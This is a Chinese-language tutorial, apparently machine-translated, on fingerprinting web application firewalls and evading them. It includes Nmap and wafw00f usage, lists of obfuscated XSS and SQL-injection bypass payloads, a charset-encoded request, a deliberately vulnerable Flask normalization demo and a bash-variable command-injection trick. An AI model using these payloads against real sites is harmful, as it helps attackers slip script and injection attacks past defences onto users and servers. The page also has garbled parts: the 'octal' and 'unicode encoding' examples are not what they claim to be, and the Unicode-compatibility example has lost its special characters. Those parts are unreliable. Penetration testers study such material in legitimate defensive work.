WAF是一种用于过滤和阻止恶意网络流量的网络安全解决方案。国外网站常见的供应商包括CloudFlare、AWS、Citrix、Akamai、Radware、Microsoft Azure和Barracuda。
根据防火墙使用的机制组合,绕过方法可能会有所不同。
例如,WAF可能会使用正则表达式来检测恶意流量。正则表达式用于检测字符串中的模式。
WAF还可以采用基于签名的检测,其中已知的恶意字符串被赋予存储在数据库中的签名,防火墙将根据数据库的内容检查网络流量的签名。
如果有匹配,网络将被封锁。此外,一些防火墙使用基于启发式检测。
如前所述,WAF通常会阻止公开的恶意流量。为了触发防火墙并验证其存在,可以向网络应用程序发出HTTP请求,在URL中加入恶意查询,如https://example.com/?p4yl04d3=。
对于正在访问的网页,HTTP响应可能与预期的不同。WAF可能会返回它自己的网页,如下图所示,或一个不同的状态代码,通常在400左右。
手动识别
通过Web代理、cURL或浏览器DevTools的“网络”选项卡,可以检测到防火墙的其他指示:
Server header中WAF的名称(例如Server: cloudflare)
与WAF关联的其他HTTP响应头(例如CF-RAY: xxxxxxxxxxx)
似乎由WAF设置的Cookie(例如响应头Set-Cookie: __cfduid=xxxxx)
提交恶意请求时的唯一响应代码。(例如412)
除了制作恶意查询和评估响应外,还可以通过向服务器发送FIN/RST TCP数据包或实施侧面通道攻击来检测防火墙。例如,防火墙针对不同payload的时间可以提示正在使用的WAF。
自动识别工具
1.运行Nmap扫描
Nmap脚本引擎(NSE)包括用于检测和指纹防火墙的脚本。这些脚本可以在下面看到。
$ nmap --script=http-waf-fingerprint,http-waf-detect -p443 example.com
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-29 21:43 PDT
Nmap scan report for example.com (xxx.xxx.xxx.xxx)
Host is up (0.20s latency).
PORT STATE SERVICE
443/tcp open https
| http-waf-detect: IDS/IPS/WAF detected:
|_example.com:443/?p4yl04d3=<script>alert(document.cookie)</script>
Nmap done: 1 IP address (1 host up) scanned in 8.81 seconds
2.WafW00f
Wafw00f是一个命令行实用程序,可将通常标记的payload发送到给定的域名,并评估Web服务器的响应,以尽可能检测和识别防火墙。
$ wafw00f example.com
3.WhatWaf
除了检测防火墙外,WhatWaf还可以通过使用篡改脚本和评估Web服务器对各种有效负载的响应来尝试发现旁路。
WhatWaf的结果与Wafw00f的结果一致。
本节将用示例概述一些潜在的WAFBypass技术。
1.绕过Regex
此方法适用于WAF和Web服务器完成的正则表达式过滤。在黑盒渗透测试中,查找WAF使用的正则表达式可能不是一个选项。
Commmon旁路包括更改payload的情况,使用各种编码,替换函数或字符,使用替代语法,以及使用换行符或制表符。
以下示例演示了一些绕过正则表达式和注释的方法。
<sCrIpT>alert(XSS)</sCriPt> #更改标签大小写
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #删除关闭标签
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #使用编码的换行字符
<iframe src=http://malicous.com < #double 打开角度括号
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaaaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
混淆技术
虽然混淆是绕过正则表达式的一种可能方式,但它们被划分为不同的部分,以更专门地展示混淆技术的选择。
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode 编码
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #在SQL查询中使用注释来分解语句
new Function`alt\`6\``; #using backticks 而不是括号
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 编码javascript
%26%2397;lert(1) #使用HTML编码
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #使用线路馈线(LF)换行符
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # 在事件处理程序和等号之间使用任何不是字母、数字或封装字符的字符(仅适用于Gecko引擎)
更多payload:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads
2.字符集
该技术涉及修改Content-Type标头以使用不同的字符集(例如ibm500)。未配置为检测不同编码的恶意payload的WAF可能无法识别该请求为恶意。字符集编码可以用Python完成
$ python3
-- snip --
>>> import urllib.parse
>>> s = '<script>alert("xss")</script>'
>>> urllib.parse.quote_plus(s.encode("IBM037"))
'L%A2%83%99%89%97%A3n%81%93%85%99%A3M%7F%A7%A2%A2%7F%5DLa%A2%83%99%89%97%A3n'
然后,编码的字符串可以在请求正文中发送并上传到服务器。
POST /comment/post HTTP/1.1
Host: chatapp
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 74
%A2%83%99%89%97%A3n%81%93%85%99%A3M%7F%A7%A2%A2%7F%5DLa%A2%83%99%89%97%A3
3.内容大小
在一些基于云的WAF中,如果payload超过一定大小,则不会检查请求。在这些情况下,可以通过增加请求主体或URL的大小来绕过防火墙。
4.Unicode兼容性
Unicode兼容性是一个概念,它描述了将视觉上不同的字符分解为相同的基本抽象字符。这是一种Unicode等价的形式。
例如,字符/(U+FF0F)和/(U+002F)是不同的,但在某些情况下,它们将具有相同的含义。共享含义允许字符相互兼容,这意味着尽管一开始是不同的字符,但它们都可以转换为标准的正斜杠字符/(U+002F)。
深入挖掘,/(U+FF0F)和/(U+002F)最终是否会成为相同的正斜杠字符,取决于网络服务器对它们进行规范化或翻译的方式。
字符通常通过四种标准Unicode标准化算法之一进行标准化:
特别是NFKC和NFKD将根据兼容性分解字符,这与NFC和NFD不同(详情请参阅此处https://www.unicode.org/reports/tr15/)。
这意味着,在Web服务器上,用户输入首先被清理,然后使用NFKC或NFKD进行归一化,意外的兼容字符可以绕过WAF,并在后端作为其规范等价物执行。
这是WAF不期望与Unicode兼容的字符的结果。
Jorge Lahara在下面的PoC网络服务器中演示了这一点。
from flask import Flask, abort, request
import unicodedata
from waf import waf
app = Flask(__name__)
@app.route('/')
def Welcome_name():
name = request.args.get('name')
if waf(name):
abort(403, description="XSS Detected")
else:
name = unicodedata.normalize('NFKD', name) #NFC, NFKC, NFD, and NFKD
return 'Test XSS: ' + name
if __name__ == '__main__':
app.run(port=81)
如果防火墙可能检测到<<img src=p onerror='prompt(1)'>的inial payload,则使用Unicode兼容字符(<<img src⁼p onerror⁼'prompt⁽1⁾'﹥)构建的payload将保持未检测到。
在清理输入后对其进行规范化的Web服务器可能容易通过Unicode兼容性绕过WAF。
5.未初始化的变量
潜在的方法是在您的请求中使用未初始化的变量(例如$u),如本文所示。这在命令执行场景中是可能的,因为Bash将未初始化的变量视为空字符串。当将空字符串与命令执行payload连接时,结果最终成为命令执行payload。
当在易受命令注入的系统中时,在payload中插入未初始化的变量可以作为一种混淆形式,绕过防火墙。